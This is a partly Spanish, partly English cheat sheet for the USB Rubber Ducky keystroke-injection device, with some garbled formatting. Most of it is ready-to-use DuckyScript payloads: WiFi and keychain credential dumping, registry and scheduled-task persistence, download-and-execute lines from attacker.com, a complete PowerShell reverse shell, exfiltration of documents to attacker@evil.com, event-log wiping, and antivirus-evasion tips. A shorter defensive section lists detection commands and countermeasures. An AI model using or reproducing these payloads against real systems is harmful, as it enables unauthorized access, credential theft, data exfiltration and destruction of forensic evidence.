Hoja de Referencia de Herramienta de Inyección de Pulsaciones USB Rubber Ducky¶

Descripción General¶

El USB Rubber Ducky es una herramienta de inyección de pulsaciones disfrazada de unidad flash genérica. Creado por Hak5, aparece como un teclado para la computadora objetivo y puede ejecutar secuencias de pulsaciones preprogramadas a velocidades sobrehumanas. Se utiliza comúnmente para pruebas de penetración, evaluaciones de ingeniería social y demostraciones de seguridad.

⚠️ Advertencia: Esta herramienta está destinada únicamente a pruebas de penetración autorizadas y evaluaciones de seguridad. Asegúrese de tener la autorización adecuada antes de usarla en cualquier entorno.

Descripción General del Hardware¶

Especificaciones del USB Rubber Ducky¶

Procesador: Procesador de 32 bits a 60 MHz
Almacenamiento: Tarjeta MicroSD (hasta 32GB)
Interfaz: USB 2.0
Velocidad: Tasa de inyección de 1000 palabras por minuto
Compatibilidad: Windows, Mac, Linux, Android
Energía: Alimentado por bus a través de USB

Componentes Requeridos¶

Dispositivo USB Rubber Ducky
Tarjeta MicroSD (formateada como FAT o FAT32)
Computadora con acceso a internet para desarrollo de payload
Computadora objetivo con puerto USB

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Format MicroSD card¶

Windows: Use Disk Management or format command¶

format F: /FS:FAT32 /Q

Linux: Use fdisk and mkfs¶

sudo fdisk /dev/sdX sudo mkfs.fat -F32 /dev/sdX1

macOS: Use Disk Utility or diskutil¶

diskutil eraseDisk FAT32 DUCKY /dev/diskX

### Firmware Updates
```bash
# Download latest firmware from Hak5
# Flash firmware using DFU mode
# Hold button while plugging in to enter DFU mode

# Linux firmware flashing
sudo dfu-util -D firmware.bin

# Windows firmware flashing (use Hak5 Flash tool)
# Follow Hak5 documentation for firmware updates

File Structure¶

MicroSD Card Structure:
├── inject.bin (compiled payload)
├── config.txt (optional configuration)
└── payloads/ (source payload files)

DuckyScript Language¶

Basic Syntax¶

REM This is a comment
DELAY 1000
STRING Hello World
ENTER

Core Commands¶

Comando	Descripción	Ejemplo
`REM`	Línea de comentario	`REM This is a comment`
`DELAY`	Pausar ejecución (ms)	`DELAY 1000`
`STRING`	Escribir cadena de texto	`STRING Hello World`
`ENTER`	Presione la tecla Enter	`ENTER`
`TAB`	Presione la tecla Tab	`TAB`
`ESCAPE`	Presionar tecla Escape	`ESCAPE`
`SPACE`	Presiona la tecla Espacio	`SPACE`
`REPEAT`	Repetir último comando	`REPEAT 5`
### Modifier Keys
Comando	Descripción
---------	-------------
`CTRL` or `CONTROL`	Tecla Control
`ALT`	Tecla Alt
`SHIFT`	Tecla Shift
`GUI` or `WINDOWS`	Tecla Windows/Cmd
`MENU` or `APP`	Tecla Menú/Aplicación
### Key Combinations
`REM Ctrl+C (Copy) CTRL c REM Ctrl+Alt+Delete CTRL ALT DELETE REM Windows+R (Run dialog) GUI r REM Alt+Tab (Switch windows) ALT TAB REM Ctrl+Shift+Esc (Task Manager) CTRL SHIFT ESCAPE`

Payload Development¶

Basic Payload Structure¶

REM Author: Security Tester
REM Description: Basic Windows enumeration
REM Target: Windows 10/11

DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING whoami && hostname && ipconfig
ENTER
DELAY 2000
STRING exit
ENTER

Windows Payloads¶

System Information Gathering¶

REM Windows System Information
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Get-ComputerInfo|Out-File C:\temp\sysinfo.txt
ENTER
DELAY 2000
STRING Get-Process|Out-File C:\temp\processes.txt -Append
ENTER
DELAY 2000
STRING Get-Service|Out-File C:\temp\services.txt -Append
ENTER
DELAY 2000
STRING exit
ENTER

Network Reconnaissance¶

REM Network Information Gathering
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING ipconfig /all > C:\temp\network.txt
ENTER
DELAY 1000
STRING netstat -an >> C:\temp\network.txt
ENTER
DELAY 1000
STRING arp -a >> C:\temp\network.txt
ENTER
DELAY 1000
STRING route print >> C:\temp\network.txt
ENTER
DELAY 1000
STRING exit
ENTER

Credential Harvesting¶

REM WiFi Password Extraction
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING netsh wlan show profiles
ENTER
DELAY 2000
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j|findstr -i -v echo|netsh wlan show profiles %j key=clear
ENTER
DELAY 5000
STRING exit
ENTER

Persistence Mechanisms¶

REM Registry Persistence
DELAY 2000
GUI r
DELAY 500
STRING regedit
ENTER
DELAY 2000
CTRL f
DELAY 500
STRING HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
ENTER
DELAY 1000
ALT F4
DELAY 500
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Windows\System32\calc.exe"
ENTER
DELAY 1000
STRING exit
ENTER

macOS Payloads¶

System Information¶

REM macOS System Information
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 1000
STRING system_profiler SPHardwareDataType > ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING ps aux >> ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING netstat -an >> ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING exit
ENTER

Keychain Access¶

REM macOS Keychain Dump
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 1000
STRING security dump-keychain -d login.keychain > ~/Desktop/keychain.txt 2>&1
ENTER
DELAY 5000
STRING exit
ENTER

Linux Payloads¶

System Enumeration¶

REM Linux System Enumeration
DELAY 2000
CTRL ALT t
DELAY 1000
STRING uname -a > /tmp/sysinfo.txt
ENTER
DELAY 500
STRING cat /etc/passwd >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING ps aux >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING netstat -tulpn >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING exit
ENTER

Privilege Escalation Check¶

REM Linux Privilege Escalation Check
DELAY 2000
CTRL ALT t
DELAY 1000
STRING sudo -l > /tmp/privesc.txt
ENTER
DELAY 1000
STRING find / -perm -4000 2>/dev/null >> /tmp/privesc.txt
ENTER
DELAY 2000
STRING crontab -l >> /tmp/privesc.txt
ENTER
DELAY 1000
STRING exit
ENTER

Advanced Payloads¶

Multi-Stage Payloads¶

REM Multi-stage payload with download
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -ExecutionPolicy Bypass
ENTER
DELAY 1000
STRING IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/stage2.ps1')
ENTER
DELAY 5000
STRING exit
ENTER

Reverse Shell Payload¶

REM PowerShell Reverse Shell
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%\\\\{0\\\\};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)\\\\{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1|Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()\\\\};$client.Close()
ENTER

Data Exfiltration¶

REM Data Exfiltration via Email
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $files = Get-ChildItem C:\Users\$env:USERNAME\Documents -Recurse -Include *.txt,*.doc,*.pdf|Select-Object -First 10
ENTER
DELAY 1000
STRING foreach($file in $files) \\\\{ $content = Get-Content $file.FullName -Raw; Send-MailMessage -To "attacker@evil.com" -From "victim@company.com" -Subject $file.Name -Body $content -SmtpServer "smtp.company.com" \\\\}
ENTER
DELAY 5000
STRING exit
ENTER

Anti-Forensics¶

REM Clear Event Logs
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Get-EventLog -List|ForEach-Object \\\\{ Clear-EventLog $_.Log \\\\}
ENTER
DELAY 2000
STRING Remove-Item $env:TEMP\* -Recurse -Force
ENTER
DELAY 2000
STRING exit
ENTER

Payload Compilation¶

Using DuckEncoder¶

# Download DuckEncoder
git clone https://github.com/hak5darren/USB-Rubber-Ducky.git
cd USB-Rubber-Ducky

# Compile payload
java -jar Encoder/encoder.jar -i payload.txt -o inject.bin

# Alternative online encoder
# Visit: https://ducktoolkit.com/encoder

Using Duck Toolkit¶

# Online compilation at ducktoolkit.com
# 1. Paste DuckyScript code
# 2. Select keyboard layout
# 3. Click "Encode Payload"
# 4. Download inject.bin file

Keyboard Layouts¶

# Common keyboard layouts
us          # US English
uk          # UK English
de          # German
fr          # French
es          # Spanish
it          # Italian
pt          # Portuguese
ru          # Russian

Deployment Strategies¶

Physical Access Scenarios¶

REM Quick deployment (30 seconds)
DELAY 2000
GUI r
DELAY 500
STRING cmd /c "powershell IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/payload')"
ENTER

REM Disguised as software update
DELAY 3000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
STRING Dear User,
ENTER
STRING
ENTER
STRING A critical security update is being installed.
ENTER
STRING Please do not remove this device until complete.
ENTER
STRING
ENTER
STRING Estimated time: 2-3 minutes
ENTER
DELAY 2000
ALT F4
DELAY 500
REM Execute actual payload here

Persistence Payloads¶

REM Scheduled Task Persistence
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING schtasks /create /tn "SecurityUpdate" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\update.ps1" /sc daily /st 09:00
ENTER
DELAY 1000
STRING exit
ENTER

Evasion Techniques¶

Anti-Virus Evasion¶

REM Obfuscated PowerShell
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -EncodedCommand <base64_encoded_command>
ENTER

Timing-Based Evasion¶

REM Random delays to avoid detection
DELAY 3000
GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1200
STRING echo "Normal user activity"
ENTER
DELAY 2500
REM Execute payload with human-like timing

Process Hiding¶

REM Hide PowerShell window
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -NoProfile -NonInteractive
ENTER
DELAY 1000
STRING Start-Process powershell -ArgumentList "-WindowStyle Hidden -Command 'Your-Command-Here'" -WindowStyle Hidden
ENTER

Defensive Measures and Detection¶

USB Device Monitoring¶

# Monitor USB device insertions
Get-WinEvent -FilterHashtable @\\\\{LogName='System'; ID=20001,20003\\\\}|
Where-Object \\\\{$_.Message -like "*USB*"\\\\}

# Registry monitoring for USB devices
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR\*\*"|
Select-Object FriendlyName, Mfg, Service

Keystroke Injection Detection¶

# Monitor for rapid keystroke patterns
# Look for superhuman typing speeds in logs
Get-WinEvent -FilterHashtable @\\\\{LogName='Security'; ID=4648,4624\\\\}|
Where-Object \\\\{$_.TimeCreated -gt (Get-Date).AddMinutes(-5)\\\\}

# Monitor for suspicious command patterns
Get-WinEvent -FilterHashtable @\\\\{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104\\\\}|
Where-Object \\\\{$_.Message -like "*DownloadString*" -or $_.Message -like "*IEX*"\\\\}

USB Port Restrictions¶

REM Disable USB storage devices via Group Policy
REM Computer Configuration > Administrative Templates > System > Removable Storage Access

REM Registry method to disable USB storage
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f

Countermeasures¶

Endpoint Protection¶

# Enable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1

# Enable command line auditing
auditpol /set /subcategory:"Process Creation" /success:enable

# Monitor for suspicious processes
Get-Process|Where-Object \\\\{$_.ProcessName -like "*powershell*" -and $_.MainWindowTitle -eq ""\\\\}

Network Monitoring¶

# Monitor for suspicious network connections
netstat -an|grep ESTABLISHED|grep -E "(4444|8080|443)"

# DNS monitoring for suspicious domains
# Monitor DNS logs for newly registered domains or suspicious TLDs

User Education¶

Key indicators of USB Rubber Ducky attacks:
1. Unexpected keyboard activity
2. Rapid text entry beyond human capability
3. Command prompts appearing automatically
4. Suspicious network activity after USB insertion
5. New scheduled tasks or startup programs

Advanced Techniques¶

Payload Chaining¶

REM Stage 1: Initial access
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Invoke-WebRequest -Uri "http://attacker.com/stage2.txt" -OutFile "$env:TEMP\s2.txt"
ENTER
DELAY 3000
STRING Get-Content "$env:TEMP\s2.txt"|Invoke-Expression
ENTER
DELAY 1000
STRING exit
ENTER

Environment Detection¶

REM Detect virtualized environment
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING if ((Get-WmiObject -Class Win32_ComputerSystem).Model -notlike "*Virtual*") \\\\{ Your-Payload-Here \\\\}
ENTER
DELAY 2000
STRING exit
ENTER

Conditional Execution¶

REM Execute only on specific OS version
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING if ([Environment]::OSVersion.Version.Major -eq 10) \\\\{ Your-Windows10-Payload \\\\}
ENTER
DELAY 2000
STRING exit
ENTER

Troubleshooting¶

Common Issues¶

``` Issue: Payload not executing Solution: Check keyboard layout, verify inject.bin file

Issue: Commands typing incorrectly Solution: Verify keyboard layout matches target system

Issue: Timing issues Solution: Increase DELAY values for slower systems

Issue: Antivirus detection Solution: Use obfuscation techniques, test on similar AV ### Depuración de Payloadsbash REM Debug payload with visible output DELAY 2000 GUI r DELAY 500 STRING notepad ENTER DELAY 1000 STRING Payload executed successfully ENTER STRING Current user: STRING %USERNAME% ENTER STRING Current time: STRING %TIME% ENTER ### Entorno de Pruebasbash

Set up isolated testing environment¶

Use virtual machines for payload development¶

Test on multiple OS versions and configurations¶

Verify payload behavior before deployment¶

```## Consideraciones Legales y Éticas

Uso Autorizado Únicamente¶

Obtener permiso por escrito antes de realizar pruebas
Usar solo en entornos controlados
Documentar todas las actividades de prueba
Seguir prácticas de divulgación responsable

Requisitos de Cumplimiento¶

Asegurar el cumplimiento de leyes locales
Seguir las políticas de seguridad organizacionales
Mantener la cadena de custodia de la evidencia
Proteger información sensible descubierta

Recursos¶

Esta hoja de referencia proporciona una referencia completa para el uso del USB Rubber Ducky. Siempre asegúrese de tener la autorización adecuada antes de realizar evaluaciones de seguridad física.